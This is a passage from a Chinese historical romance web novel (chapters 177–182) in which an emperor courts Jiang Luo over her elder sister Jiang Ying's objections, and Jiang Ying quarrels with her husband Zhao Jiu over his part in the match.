她瘪了瘪嘴,耷拉着脑袋,想哭不敢哭,看得明惠帝心一揪一揪地疼,连忙阻止道:“姐姐、不,舅母,浓浓就是说着玩儿的,她还小呢,童言无忌,童言无忌,您别和她一般见识。”
姜璎顿了顿,见明惠帝一脸恳切,只好道:“陛下放心,我不罚她。”
明惠帝不放心,他试图求助赵咎,但赵咎就是个不中用的。
眼里只有媳妇,没有兄弟!
他只好硬着头皮发出邀请:“舅母,你看也快到时辰了,不如就一同用个膳吧。”
姜珞不敢说话,她能感觉到姐姐有些生气。
赵咎也不敢吭声,他估摸着收拾完姜珞,接下来收拾的就是他…
“那就恭敬不如从命了。”姜璎道。
这句话一出来,在场等人全都松了口气。
仆婢开道,领几位主子入前厅。
按照规矩,自然是卫国公等人亲自陪同,奈何明惠帝嫌他们烦,他给赵咎使了个眼色,小舅好歹说句话啊!
赵咎看天看地看蚂蚁搬家,就是不看明惠帝。
什么小舅不小舅的,不熟。
姜璎恭声道:“陛下请。”
明惠帝干笑一声,“舅母不必多礼,就当是自己家……”
他紧张得同手同脚,说话也没过脑,赵咎一脸不忍直视,只好别过脸。
姜璎也当没听见,神情平静,一行人到前厅。
向氏取来茶叶,姜璎亲自烹茶,一手茶技堪称优雅至极,雾气氤氲,模糊了眉眼。
“陛下请用茶。”有价无市的琉璃盏奉至明惠帝面前,姜璎才坐下,一左一右送来茶水。
“阿池。”
“姐姐喝茶。”
两人殷勤到可以用狗腿来形容。
姜璎微微垂眸,不曾理会,只温声道:“陛下,您亲自登门,同臣妇商议此事,想来也是认可臣妇为浓浓的长辈。”
明惠帝立马道:“认可,非常认可!”
姜璎微微一笑,“多谢陛下抬举。”
她这一笑,宛如冰雪消融、万物复苏,一瞬间,场面气氛都回暖不少。
姜珞松了松肩,赵咎舒了舒眉。
姜璎温声道:“陛下,您是知道的,臣妇幼年丢失,颠沛流离,前不久才认祖归宗。若说我们姐妹二人感情深厚,倒也不至于……”
“姐姐!”姜珞忍不住叫道,泪水在眼眶打转。
姜璎置若罔闻,只在长案下,轻轻拍了一下她的手背。姜珞就跟抓住救命稻草一般,紧紧攥着姐姐的手。
姜璎继续道:“陛下同她见面次数屈指可数,并不了解她为人。她暴躁易怒、阴晴不定,时而脾气上来,还会动手打人…种种缺点,不堪入耳。”
明惠帝听不下去了,想要开口反驳,但姜璎抬眸的那一刹那,眼神专注,隐隐还带着一丝恳求。
——请让她把话说完。
明惠帝只好咽了回去。
姜璎慢慢道:“陛下,臣妇不是故意贬低姜珞。她于我,虽多年不见,却是彼此唯一的手足至亲。”
“就算千般不好、万般不是,我也会用尽耐心去包容去纠正。”
“因为她是我妹妹。”
姜璎抬头,定定地看着明惠帝,“她是我阿娘亲自挑选,送到我身边的家人。”
“我有这个责任和义务,不论是管教,容忍,还是为她收拾烂摊子。我都心甘情愿。”
“可是陛下,您只见她不过两三回,说喜欢未免太浅薄,说爱,又过于浮夸。我实在不敢将唯一的妹妹的终身,托付您之手。”
寻常人家夫妻不合,尚且还有和离的选择。
但皇家的媳妇,除了病死,还有第二条路可选吗?
姜璎不能拿这短暂的真心,去赌姜珞后半生的幸福。
在这个世上,即便是骨肉至亲也有反目的一日,更不别说两个毫无血缘关系的人。姜璎能容忍姜珞,是因为她就这一个妹妹,但明惠帝呢?他能保证自己一辈子都对姜珞好吗?
不可能的。
真心瞬息万变,谁也无法保证。
如今情正浓时,姜珞的蛮横无理是天真可爱,可要是哪一日爱不复存在,别说缺点了,就是满身优点,也会教人碍眼。
姜璎最后道:“还请陛下深思熟虑,姜珞不是母仪天下的人选,也并非陛下良配。”
第178章 妙招
姜璎的话甫一落地,前厅便陷入了前所未有的死寂。
气氛压抑,沉闷得让人几乎喘不过气。
曾几何时,那个怯懦胆小的永安侯府养女,也有了同帝王对抗的勇气。
她在爱里蜕变,不断淬炼筋骨,重新生长血肉,灵魂也随着自我塑造的过程逐渐丰盈。
她很感谢父母,哪怕阿娘已经过世十多年,她遗留下的家世人脉,依旧为她铺就了康庄大道,给予无上底气。
赵咎怔怔地看着姜璎,明惠帝唇角微微抿直,这对舅甥的神情说相似也不相似。
明惠帝强忍着心中酸涩,一而再再而三的拒绝,令他挫败非常,更重要的是,他在方才的接触中已然明白姜璎的地位。
如果她不同意,那么姜珞或许想都不用想,就弃他而去。
茶香四溢,雾气氤氲。
模糊了眉眼,也浸湿了睫羽。
“不是一时兴起。”他低声道,语气莫名倔强,又重复了一遍,“不是一时兴起。”
“我对浓浓是真心的。”
“陛下,且不说真心二字脱口而出,无需任何代价。臣妇只问您一句,若有朝一日,浓浓犯错,或者您厌弃了她…”姜璎顿了顿,轻声道,“我该用什么办法,将她带回自己身边呢?”
姜璎的态度很坚决。
她不在乎一个皇后之位能给家族、自己带来多少好处。
她只想请求明惠帝,以一个姐姐的身份。
请他就此打住,另择淑女。
放姜珞一条生路。
“我……”明惠帝张了张嘴,想说他可以给姜珞留后路,然而话到嘴边,胸口陡然生出一股激烈至极的抗拒。
不可以。
任何人都不可以带走姜珞。
——她是我的妻子。
几乎要脱口而出。
就在这时,边上响起一声抽噎。
所有人惊愣一瞬,齐齐看向声源处。
姜珞低垂着头,肩膀一颤一颤,豆大的泪珠随之吧嗒吧嗒往下掉。
“姐姐……”她一个熊抱紧紧缠在姜璎身上,哽咽道,“原来你这么爱我!”
“……”姜璎拍了拍她后背,吐字艰难,“你先放开我。”
“让我再抱一会儿。”姜珞感动得热泪盈眶,嘴里发出呜呜哇哇的声音,“姐姐…呜…哇…我不能没有你…”
姜璎被勒的喘不过气,面色几近发白。
还是赵咎第一时间发现不对劲,一把揪住姜珞耳朵,用力——“嗷!”
姜珞疼得天灵盖发麻,连忙双手高举捂住耳朵,瑟缩着往后退,“姐、姐夫,你打**嘛呀?”
他不会是嫉妒姐姐爱她吧?
姜珞藏不住事儿,她心里想什么,别人一眼就看出来了。
赵咎:“……”
想骂,又不知道从哪里开始骂。
关键还有个明惠帝在一旁看着,满脸紧张道:“赵咎!你有话好好说,别动手啊!”
姜珞后知后觉才反应过来自己力道太大,“姐姐,你没事儿吧?”她跪行到姜璎身边,看见那脖颈那一圈有了红印子,忍不住又要掉眼泪。
“别哭了。”姜璎扔了一块帕子给她,深吸一口气,“把眼泪擦眼睛。”
哭哭啼啼像什么样子。
姜珞知道自己又犯错了,唯唯诺诺,余光瞥到明惠帝缩回去的手,忽然心里头不是滋味。
她嗫嚅着唇,小声道:“姐姐,你不要生气。其实,他没逼我,是我想当皇后…”
“你说什么?”
“我说我想当、当……”当了个半天,愣是没能憋出后半句话。
姜珞好不容易生出的勇气,又夭折半路。她瘪了瘪嘴,高忱,你还是靠自己吧。
明惠帝接收到暗示,顿时眼眸一亮。只要浓浓愿意嫁给他,不管姜璎提出什么条件,他都会竭尽所能完成!
“舅母!”
姜璎险些一激灵。
赵咎扶住她肩膀,骂道:“叫什么?”
“我要娶浓浓。”明惠帝心中激荡无比,他眼神坚定,一字一句道:“舅母,我喜欢她,想娶她,并非一时起意,而是深思熟虑之后的结果。”
**从什么时候开始的心动。
或许是第一次见面,她好奇地打量他,目光
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澄澈,如涉世未深的幼兽,令人好感倍增。
又或许是之后的接触,她大胆妄为,像一阵风,来势汹汹又蛮不讲理,席卷进他心间。
见面的次数屈指可数,但……他真的喜欢她。
明惠帝看了一眼姜珞,又飞快移开目光,鼓起勇气道:“舅母,我不能没有浓浓。”
“她说过,会对我很好很好,我当真了。”
“舅母如果不答应——”
他微微停顿,眼神流露一丝决绝。
姜璎心头一跳。
他不会是想……
明惠帝豁出去了,“我就派人去街上敲锣打鼓,说她占我便宜,始乱终弃!我做鬼都不会放过她的!”
说这话时,他神情端庄肃穆。
不知道的还以为是哪个山沟沟里跑出来的贞洁烈男。
姜璎吓了一跳,连忙道:“有话好说。”
他不要脸,她们姜家还要脸啊!
赵咎惊呆了,不是说好的一哭二闹三上吊?这又是哪招?
这个高忱,真是看错他了!平时一口一个小舅,喊得要多亲有多亲,结果到头来,自己藏私!
他要早学会这招,估计孩子都会爬了吧!
现在双方完全调换过来。
不好说话的人变成了明惠帝。
“她说过会对我好一辈子的,如果这辈子做不到,我就下辈子、下下辈子,做鬼纠缠她生生世世!”
“舅母要么答应,要么干脆一棒子把我敲晕,最好敲得神智不清,忘了谁是谁。要不然,我就等浓浓成亲,自荐枕席做外室!”
“到时候高家、赵家,连带着姜家的脸都一起丢尽!”
赵咎忍不住道:“等等等等,你说慢点,我去拿纸笔来……”
姜珞眨巴眨巴眼睛,“拿纸笔做什么?”
赵咎一脸严肃,“我要把他此等不要脸的行径记下来!日日谴责唾骂!”
回头供起来,说不定哪天就用上了。
姜璎觉得这么做不大好,再怎么说明惠帝都是皇帝,但她拉不住赵咎。
只能眼睁睁看着他三两步走出去,健步如飞。
第179章 天赋
一顿午食用得没滋没味。
除了姜珞照旧两碗饭外,其他三个都没怎么动箸。
姜璎在正餐前用了一碗雪耳羹,也不怎么饿,倒是姜珞,后面又让人上了一碟饼饵,拿了一块在手里慢慢咬着。跟孩子似的。
仆婢们撤下食案,端来浓茶给主子漱口,又泡了早春采的新茶,一口下去,身子也跟着热乎起来。
“陛下。”姜璎开口,态度很明显有所缓和。
明惠帝还是端着一张脸,令人瞧不出喜怒,光看这架势,谁能想到堂堂皇帝,竟然也会耍无赖?
“姜璎,你好好考虑,考虑清楚以后,再给朕答复。”连舅母都不喊了,这是真硬气。
姜璎:“……”
有种被拿捏了的微妙不爽。
父亲跟她说过,明惠帝性情较为纯善,是难得的仁厚君主。这一点,从他处理朝政的方式上也能看出一二。
太祖皇帝铁血手腕,先帝亦性情强势,在他们手底下的大臣难免战战兢兢、提心吊胆。这种情况一直持续到明惠帝登基才算有好转。
高忱是帝后独子,自幼承大儒教诲,在父母恩爱的环境长大,待人接物难免多了一丝宽容。好些从太祖皇帝手里熬到现在的三朝老臣对明惠帝赞不绝口,也算是迎来春天了。
但脾气再好,也不是没脾气。
更何况,明惠帝学得是治国之道。他是天然的上位者,阶级化的受益人。
想让他放弃,或许比登天还难。
“时辰不早了,朕还有要事,就不多留了。”明惠帝沉声道,起驾回宫。
姜璎起身行礼:“臣妇恭送陛下。”
姜珞哼哼唧唧,“臣女恭送陛下。”
赵咎身为臣下兼好兄弟,自然得亲自陪同。
卫国公等人也接到消息,早早在蓼莪院外等候。
明惠帝能感受到身后的强烈注视,大抵是来自姜珞,她估计又在心里骂他不中用。
明惠帝很想回头,又怕被姜璎看见,只能硬着头皮继续走,小声道:“她怎么也不挽留我?”
赵咎同样小声,“你回去睡吧,梦里什么都有。”
明惠帝:“……”
他有些恼羞成怒,“你还是不是我阿舅了!一点儿也不知道帮我说话!
“我要不是,现在就拿扫帚给你打出去了。”赵咎冷笑,顿了顿,又问,“怎么让你想到说那些话的?”
明惠帝道:“这个嘛……还得多亏你啊。”
赵咎:“???”
明惠帝谦虚一笑,“你说过,姜璎心肠软,又极其重视家人。我想了想,也只有这种办法了。”
丢不丢脸是另外一回事。
关键好用啊!
他能感觉出来姜璎当时的震惊,以及微微松动。
“这招用完,要是还不松口,下次我再来,就直接一哭二闹三上吊。”明惠帝道,“对了,你记得到时候清场啊,别让第三个人看见了。浓浓也不行。”
赵咎寻思你还要脸啊,又忍不住道:“这一招你之前怎么没教我?眼睁睁看着我为情所困,你还是人吗?”
“诶!饭能乱吃,话可不能乱说,能教的我都教你了。”明惠帝道,“今日完完全全临场发挥,跟藏私半点不沾边。”
顿了顿,他莫名感慨。
“或许,这就是所谓的天赋异禀吧。”
赵咎:“……”
神**天赋异禀。
你要做外室还有理了!
一直到卫国公府大门口,明惠帝才唤卫国公,也就是自己的亲外公到跟前。
“大父。”
“陛下。”卫国公跪了下去。
明惠帝肃容道:“朕对阿劫另有安排,卫国公就不要插手了。”
先帝在世时,也多番提醒岳父不可太过偏心。奈何卫国公没听进去。
卫国公是典型的儒家思想,父权君权的拥护者,在他看来,自己儿子想打就打、想骂就骂,那是天经地义。更何况,赵咎一出生就害他母亲病重,后面又早早离世,那就是不孝!
明惠帝不是先帝,他敬重外祖,但再多的亲近就没有了。此番话无异是对卫国公的警告。
赵咎不仅仅是他的儿子,更是明惠帝的臣子,左膀右臂。
他斥骂赵咎,等同于蔑视皇权。
卫国公低头道:“臣遵命。”
父亲跪着
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,底下的儿子儿媳自然也不能站着,一干人等一同跪下恭送陛下。
明惠帝轻轻拍了一下赵咎肩膀,“阿劫,我等你给我送好消息。”
赵咎:“……”
吹枕边风就吹枕边风。
还说得这么郑重其事。
不知道的还以为他们在商议什么国家大事。
明惠帝亲临赵家,虽是微服过来,但惊动了整个卫国公府,又有禁军护送,自然也不可能再轻车简从。
内侍们一路洒水清扫,设好步障,每隔半丈左右便站着一名禁军。也就是明惠帝不喜张扬,勤俭持家,要不然一路直达宫中,都得铺上地衣。
“陛下、陛下。”容已小声道,从袖子里取出一包东西。
明惠帝打开一看,“饼饵?”
容已笑着点头,“二姑娘特意让人送到奴婢手里。”
明惠帝心里暖洋洋,肯定是浓浓注意到他没怎么动箸,怕他饿着。
姜璎也发现了那碟饼饵不翼而飞,“你全吃完了?”她问姜珞,语气不太好。
“没有呀,我让人给高忱了。”姜珞赖在姜璎身边,嘻嘻笑道,“姐姐,我这也算是待客之道,礼数周到了吧?”
赵咎还没回来。
姜璎冷冷问她,“说罢,是谁让你做皇后的。”
姜珞根本就不是会对人一见钟情的性子!一定是有了说什么,她才会动这种心思。
姜珞目光闪躲,嘟囔道:“哪个女人不想做皇后,多威风啊……”
姜璎蓦地起身,姜珞原本靠在她身上,差点摔倒在地。这下连傻子都知道姜璎生气了,她连忙爬起来,“姐姐。”
“你要是不说,就回家。”
这句话比任何责罚打骂都有用。
姜珞慌了,“姐姐、姐姐我说!你别生气!”
任何经历过春天的人,都不会再想回到冬天。
姜珞也不例外。
她一股脑地把所有事情都吐露出来,最后又补充道:“阿父知道,姐夫也知道。”
姐姐不能只生她一个人的气。
姜昀:“……”
赵咎:“……”
天杀的!拖人下水不要太熟练!
第180章 失宠
赵咎回来时,屋内不见姜珞身影,只有姜璎跪坐在窗牖下,微微垂首,如白鹤折颈,压成寂寥无望的弧度。
碎金般的光影洒落,她眼睑半阖,落下一片阴影。
赵咎心头一跳,有种强烈的不安,他上前轻轻搂住姜璎的肩膀,从背后抱住她,贴着她的面颊,声音温柔,“怎么了?还在生气吗?”
姜璎轻轻偏头,身子拉开距离。
耳鬓厮磨在顷刻间变泾渭分明。
“我不明白,为什么你也要参与其中。”她语气淡淡,藏着不易察觉的低落。
“什么?”
“非要我把话说得那么清楚吗?”
赵咎面色自如,“你是说陛下和姜珞的事?我没有参与其中,我也没想到,陛下会喜欢上姜珞。”
姜璎静静地看着他,声音冷然,戳破他的避重就轻。
“当初我们领浓浓去给皇后赔罪,你阻止我的陪同,要她只身一人前往。”
“从那时起,你就开始撮合他们两人了。”
赵咎道:“她又不是小孩子,没必要陪同。更何况,自己闯出的祸自己弥补,天经地义。阿池,仅凭一句猜测,你就要定我的罪?”
两人对视许久。
半晌,姜璎道:“浓浓什么都说了,需要我喊她过来,跟你对峙吗?”
赵咎:“……”
真是奇了怪了。
他怎么老是能碰到猪队友?
“来人,去把二姑娘……”
姜璎起身,还没站起来,整个人就被拉入怀中。
唇瓣被堵住,恼怒的未尽之言尽数湮没唇齿。她挣扎好几下,推着他的胸膛,最后实在力竭,只能任由这清瘦却不失有力的臂膀将她紧紧缠绕。
他口中还有淡淡的清苦的茶香,伴随着轻啄磨弄,抿舔勾吻,浅尝而不深入,晶莹的唾液缠连一起,似有回甘的甜蜜。
不要生气。
姜璎很明显感觉到他的讨好。
房事上耍赖也不是一次两次,但基本都在夜里,哪有**就开始引诱人的?
姜璎被吻的头皮发麻,险些沉溺其中,整个人几乎都趴在赵咎身上。
“不、不要了!”她趁着唇瓣分开的间隙,双手抵着他胸口,顶着一张艳若桃花的俏脸,努力端起气势呵斥,“好好说话,不许动手动脚!我不吃你这一套!”
分开的猝不及防,他嘴角还挂着一丝晶莹,杏眸水润潋滟,像是刚吸食过精气的狐狸精,还有些不知足。
“哦。”
他舔了舔唇,懒洋洋道,“吃都吃完了,才来说不吃这一套。”
姜璎脸腾地红起来,有种愈烧愈烈的趋向,“我才不想吃!你走开!”
赵咎生怕她摔了,双手扶着她的腰,往怀里带,“不生气了好不好?我承认,我有推波助澜的嫌疑,但我真没想到湛奴会喜欢姜珞。”
证据确凿,他供认不讳。
唯独一点,幕后主使的分量太重,这口锅他不背。
“是姨母和岳父慧眼识珠,发现两人相配,才让我稍稍撮合一二。”
赵咎想到明惠帝,低叹道:“湛奴是个痴情性子,看在那几声舅母的份上,我们就可怜可怜他吧。”
姜璎恼道:“我从来没听说过皇帝可怜的!九五之尊,万人之上,他要什么美人没有,非要浓浓?如果姜珞不是父亲的女儿,只是普通农女,他还会如此真心吗?”
越说越恼火。
姜璎推开他,赵咎一时不察,两人摔倒在软榻。
“阿池!”他还是扶着姜璎的腰,免得滚下去,“你是想**亲夫吗?!”语气颇有些气急败坏。
姜璎走也走不掉,干脆坐在他身上,打了好几下他胳膊,“谁让你偏心!你要疼你的外甥,自己疼去!别来烦我!”
她气呼呼道:“我放着自己蠢笨的妹妹不可怜,我还要去可怜他?”
赵咎也不敢反抗,就硬生生挨了几下。
“老天爷,我哪里偏心了?你睁开眼看看好不好,一直都是浓浓在欺负湛奴。”
“那我制止两人在一起,不让浓浓欺负人,这总行了吧?”
“我都可以啊。”赵咎一脸无辜,反正没媳妇的人又不是他,“只要岳父跟你一样态度坚决。”
这话就似一泼冷水,兜头浇下。
姜璎卸了力,默不作声地扭过脸。
赵咎坐起来,抱着她亲了亲脸颊,“浓
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浓做皇后不好吗?她只是直率了一些,又不是没有脑子。只要不犯大错,就算骑到湛奴脖子上,他都能一个劲傻乐。”
姜璎反驳道:“可她还是个孩子。”
赵咎:“……”
一顿能吃两碗的孩子?
掂掂分量,估计比姜璎重十几斤。
“阿池,寻常人家,十三四岁成亲生子的比比皆是。”他尽可能委婉道,“浓浓真的不小了。”
“更何况,她是心甘情愿的。”
“可她心甘情愿,是因为我!”姜璎忍不住道,压抑了许久的眼泪涌出,几乎语不成调,“你明明说过的,要以自己为重,任何人都没有自己的感受来得重要…我一点一点学会了,我也希望浓浓可以做到…”
姜珞的爱太热烈,像是一团火,紧紧包裹着姜璎。
固执得可以用笨拙二字来形容。
“我不需要她这么做,我宁可她是被陛下的皮相打动,也不要她为我付出终身!”
姜璎说完这句话,起身往外走。
她好不容易从囚笼逃脱,结果回头一看,姜珞这个笨蛋甘愿画地为牢,甚至还要傻乎乎冲她笑。
说姐姐你看这个笼子漂亮诶!
爱让人作茧自缚,即便牺牲自己,也无所畏惧。
于姜珞而言,那不是委屈,而是加冕的荣耀。
她终于终于,可以为姐姐做点什么。
房门打开。
把姜珞吓了一跳。
她正偷偷摸摸把明惠帝抄的族谱混进自己的抄的里头,姜璎一进来,她还以为被发现了,支支吾吾道:“姐姐,是这样的,不是俗话说父债子偿吗?那妻债夫偿也可以吧?他是自愿帮我写……”
姜璎捧着她的脸,“浓浓,我最后问你一遍,你想做皇后,是因为我,还是因为喜欢陛下。”
“认真想。”
没被发现啊。姜珞捂住扑通扑通的小心脏,老老实实道:“因为姐姐。但是,也有一点点喜欢他。”
姜璎定定地看着她,“如果我同赵咎和离,回天水姜氏,你是跟我走,还是做皇后?”
“啊?”姜珞惊得张大嘴巴,脱口而出,“姐夫这个狐狸精失宠了吗?”
第181章 虽然
狐狸精?
姜璎听到这个形容词有些忍俊不禁,但仔细想想,好像也不无道理。
赵咎可不就是活脱脱的狐狸精嘛?白天三番两次地招惹,夜里更是花样百出,她可怜巴巴喊腰疼,试图歇两日,他还一本正经说小孩子是没有腰的。
……真是瞎话满天飞。
想到这里,姜璎脸上多了一抹淡淡的无奈。
姜珞小心翼翼观察着她的神情,见有所缓和,忙道:“姐姐,你跟姐夫吵架了吗?其实那件事情,跟姐夫也没有太大关系。你就别怪他了。”
姜昀亲自发话,赵咎自然不好不给岳父面子。
再加上权衡利弊之后,他发现姜珞做皇后,确实比梁氏做皇后好处来得多的多。
这就更不可能拒绝了。
撇开**因素不提,至少姜珞不会干出捶打腹部、用孩子威胁高忱的事。
姜珞见姜璎不吭声,忙道:“姐姐,虽然我还挺喜欢高忱的,但你要是看姐夫不顺眼,不想跟他过了,我肯定向着你,你去哪儿我就去哪儿!”
“就算吃糠咽菜,我也会努力帮你砍柴烧火!”
“……这倒不必了。”
“姐姐,你是因为我才准备跟姐夫和离的吗?”姜珞问,心里美滋滋的,搂着姜璎手臂撒娇,“在姐姐心里,浓浓是不是比姐夫还要重要?”
“是的吧?肯定是!”
她自问自答,重重地点头表示肯定,“还是母亲深谋远虑!任凭狐狸精手段百出,也终究抵不过我们姐妹的血缘亲情!”
姜璎:“……”
萧晞看重血缘,连着夭折两个儿子后生下姜璎,便元气大伤,再也不能有孕。
为此,她安排贴身婢女紫菀做了姜昀的妾室,嘴上是担心姜昀绝后,实际上,只有她清楚,她图的不过是女儿后半生的依靠。
只可惜姜昀不争气,让紫菀生出个女儿。
真是命啊。萧晞不止一次望着襁褓里的孩子叹息,时也命也,她自己没有兄弟,她的女儿也没个兄弟。
最后只能安慰自己,姐妹俩相互扶持也不错。
至少他们百年以后,阿石还有一个亲人留在世上陪着她。
比起紫菀私下里对姜珞的教导,要她处处以姜璎为先,要她为姜璎付出一切,萧晞最常说的一句话,反而是:“你要陪着你姐姐,陪她久一点,再久一点。知道吗?”
母亲身上香香的,姜珞挥舞着藕节粗的手臂,兴奋地流口水。
“姐、姐姐,玩!”
她磕磕绊绊,中气十足。
萧晞看着她,莞尔一笑。
不管是母亲的话,还是姨娘的话,姜珞都有牢牢记在心里。
姜珞抱着姜璎胳膊,甜甜道:“姐姐才貌双全,是我们姜家名副其实的嫡长女,就算和离再嫁,也不缺人选。只是那些人,论长相身材,还不如赵咎呢!”
“姐姐,你要不再考虑考虑吧,我也可以不嫁高忱的,只要你和姐夫好好的。”
“为什么?”姜璎怔怔地看着她。
“因为姐姐喜欢他啊!”姜珞一脸理所当然。
“虽然他老是学勾栏作派,但也是为了取悦姐姐,虽然他身份上欠缺了点并非嫡长,但为人还算争气。虽然一天天不务正业,但好歹把时间都花在陪姐姐上了!”
“唔,瑕不掩瑜嘛。”
姜珞露出傻乎乎的笑容。
浓浓当然会永远永远陪着姐姐。
只陪不霸占。
姐姐喜欢赵咎,赵咎又还算个人,她肯定以姐姐幸福为先,争宠可以,但绝不破坏姐姐姐夫他们夫妻之间的感情。
“姐姐,不要生气。我给你变个戏法!”姜珞手指抵着鼻尖,往上顶,发出怪声,“哼哧哼哧——是小豚!我听他们说,小豚就是这么叫的。”
姜璎扑哧一笑。
姜珞见姐姐笑了,才松一口气,但孰料姜璎笑着笑着又流出眼泪。
“姐姐?!”
“没关系。”姜璎抹去眼角泪水,拉着她坐下,“我们不聊赵咎,来聊高忱。”
“聊一聊,你们从认识到现在的经过。”
姜珞眨了眨眼睛,脑海浮现明惠帝的脸,难得露出几分不好意思。
这样的神情出现在她脸上,可以说是尤为罕见。
“姐姐,我知道我不该对高忱那么凶。”姜珞小声道,“但我看见他,就想起姨母和袁老夫人说高家人做的事,一时没能控制住脾气……”
姜璎严厉道:“我不是让你不要听他们的话?”
姜珞跟个鹌鹑似的,老实得不行,“我、我努力了,但耳朵不听话啊,而且,我觉得袁老夫人说的也有道理。如果不是高家,姐姐现在最起码也是个县主……”
梁帝要是不死,母亲一定是辅国长公主!看封号就知道了,广陵公主,广陵可是地处江南的富庶之地!诸王封邑以二万户为大国,万户为次国。广陵虽是次国,但一点儿也不比大国差!
至于姐姐,作为阿父阿母的嫡长女,再怎么样肯定也是拥有封地食邑的县主,以大父对母亲的疼爱,说不定还会划分有盐池铁矿的封地给姐姐!
哪里用得着现在这样……
“浓浓!”姜璎喝止道,不许她再说下去。隔墙有耳的道理,就连三岁孩子都知道。
姜珞被凶了以后,悻悻然住嘴。
姜璎揉了揉她的脸蛋,知道她是自己好,但有些事
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情不是一句两句就能说清的。
高家谋朝篡位,是因为手里头有兵马,又恰好前梁皇室人丁单薄,如此占尽天时地利人和,又有哪个男人能拒绝得了?
“我让你读史,你读了没有?”
“呃,这个…看了一点点。”姜珞心虚地捏着手指,她不是爱读书的人,能看进去一点儿,已经很不错了。
姜璎无奈一笑,将她搂在怀里,轻声道:“你说的对,赵咎是个很好很好的郎君。他教我读史,开阔眼界见识,我也于是明白,许多事情,并非人力所能掌控。”
始皇一统六国,何其雄伟,令多少人心向往之,崇敬非常,可最后不也还是二世而亡?
汉高祖出身市井,常被人称无赖,这就是这样一个市井流氓,一路摸爬滚打,开创帝业。
他成为开国皇帝那年,都已经是知天命的老人了。
“始皇不厉害吗?高祖不厉害吗?可你看,即便先汉一连出了那么多雄韬伟略的帝王,最后不也还是没了。”
“前梁在大父那一代终结,是人祸,也是必然的结果。”姜璎嘴角流露一丝苦涩,“浓浓,不要再沉迷于过去的辉煌,说句不好听的,就现在而言,我跟姨母不过是前朝余孽罢了。”
“姐姐!”
萧晞从来没想过报仇雪恨。
就连梁帝,送走女儿的最后一刻,也是希望他的孩子能平安无事度过一生,而非余生都活在仇恨之中。
**公主的结果,有几个是好的?
萧晞和萧止柔能保全自身,便已经足够庆幸。
再说白了一句话,无权无势、没有兵马,谈何跟一国做斗争?
就算积攒了实力,发动战争,到最后不也还是苦了百姓吗?
此非梁帝所愿。
“浓浓,姨母那里,我来处理。”姜璎轻声道,“只要你不想着报仇,你愿意和谁在一起,就和谁在一起。好吗?”
姜珞依偎在姐姐怀里,咬着手指头,不知道在想什么。
“姐姐,你的意思,是不是大魏也有可能灭……”
“闭嘴。”姜璎一把捂住她的嘴。
姜珞呜呜两声,举起手表示求饶,姜璎恼地掐她脸,真是不想活了!
姜珞赶忙搂着姐姐脖子,讨好地蹭蹭,“我想好了,我要嫁给高忱!我喜欢他!顺便欺负他一辈子,这样也算给母亲和大父报仇了!”
·
小剧场
高忱一边哭晕角落,一边醒来安慰自己:她爱我才欺负我,要不然她怎么不欺负别人呢?
苦中作乐一把好手。
·
二更晚一点,审核完估计得第二天,非常感谢大家~
第182章 但是
秋日节气多变,从天高云淡到阴雨绵绵,转变不过一瞬间。
裹挟着凉气的雨水从天而降,屋檐滚落,滴滴答答,扰得没完没了。
赵咎翻了个身,一把扯过姜璎的被衾,低声恼道:“你出去打听打听,哪有新婚夫妻分被而睡的?”
姜璎早防着他,哪怕昏昏欲睡,也还是用身体压住被衾,嘴硬得不肯退让,“我就喜欢一个人盖一床被子。”
边边被压得严丝合缝,赵咎想钻进去都找不到突破口。
他气得不行,坐了起来。
“行,那咎都别睡了!”
外头守夜的仆婢听到动静,吓了一跳。向氏生怕姜璎受委屈了,连忙叠声问:“姑娘,姑娘?”
里头很快传出姜璎的声音,“没事儿。”
语气很正常。
香薷香附知道赵咎脾气,这要是让向氏进去了,他们也不用在姜璎身边伺候了,不死也要没半条命,忙边陪笑着边哄劝了向氏下去,“九郎心疼女君,不会怎么样的,再说了,哪个夫妻不拌嘴啊。您就放心吧,这边有我们呢。”
里头,姜璎捂着赵咎的嘴,一双眼眸含羞带恼,“你干什么呀?”
声音因压低而显得愈发轻软,双靥粉红,是嗔怒,可也娇态十足。
赵咎想到自晌午之后不欢而散,她就没再理过自己,到了傍晚还特意让下人取了一床干净被衾,要分被而睡,又气又委屈。
姜璎松开手,被他一把攥住。
年轻郎君身强体壮火气重,姜璎被他握没一会儿,手心就渗出密汗,“你还睡不睡了?”
赵咎淡淡道:“不睡了,你不把话说清楚,今晚谁都别想睡。”
姜璎就不吭声了。
两人僵持了一会儿,赵咎神情微恼,“行,你要这样,我**算了。”
说罢掀了被子就要往外走。
“诶!”
这一出打得姜璎措手不及,她隐隐觉得眼熟,但又说不上来,只能慌里慌张拉住他,拉不动就用抱,抱着他的腰不放。
“别闹了行不行?大晚上的。”
这话堪比火上浇油,赵咎听了直接气笑,“你睡你的吧,别管我,鱼离了鸟安生,你没了我清净!**脆**变成鬼,夜里趴你枕边……唔!”
姜璎封口封的得心应手,赵咎一脚踢掉了自己那床被子。
“你现学现卖呢?”她想起来这话为什么耳熟,合着今早明惠帝刚说过,他当时谴责无比,结果呢,用得比谁都快。
姜璎忍不住吐槽:“你俩真不愧是舅甥。”
她实在没心思吵架,也不太会吵架,分了一半被衾给他,躺下翻了个身,背对着他,“我明日一早要去陆家,你再不睡,就去书房吧。”
赵咎面色一阵青一阵白。
想说什么,又强忍了下去。
到了半夜,姜璎彻底睡熟,赵咎才搂着她的腰,身体紧紧抱在一起。
“有进步了,跟我发脾气。”他闷声道,声音微乎其微,被外头的雨声轻而易举盖过。
姜璎已经被他养成抱着睡的习惯,这种天用不上暖手炉,直接往他怀里一窝,就热乎得不行。她**以为常翻了个身,把脸埋在他胸口。
赵咎一动不动,好半天,才用气音道:“你自己凑过来的啊,我可没扒拉你。”
没有吵醒熟睡中的人。
他开始得寸进尺,冷冷谴责。
“姜璎,我发现你这个人真的很较真。”
“一件事不管怎么样,都有主谋从犯,你就知道柿子专挑软的捏。”
“较真不够,还有失偏颇。”
“你不觉得自己很过分吗?”
姜璎感觉感觉头顶有蚊子叫,真奇怪,都入秋了,怎么还有蚊子呢?她把脸埋得更深,哼哼唧唧,咬赵咎吧不要咬她。
赵咎吓了一跳,以为把人吵醒了,身体僵硬许久,直到姜璎安静下来,才缓缓松了一口气。
他不敢再开腔,想睡觉又睡不着,只好抱着她亲了亲,算是泄愤。
可恶的姜璎,讨厌的阿池!凭什么就欺负他一个?妹妹是宝,夫君是草?
可笑!他没找她算账把“和离”两个字挂嘴边,她就该谢天谢地了!
还发脾气,闹冷战。
随便吧,反正他也不稀罕。
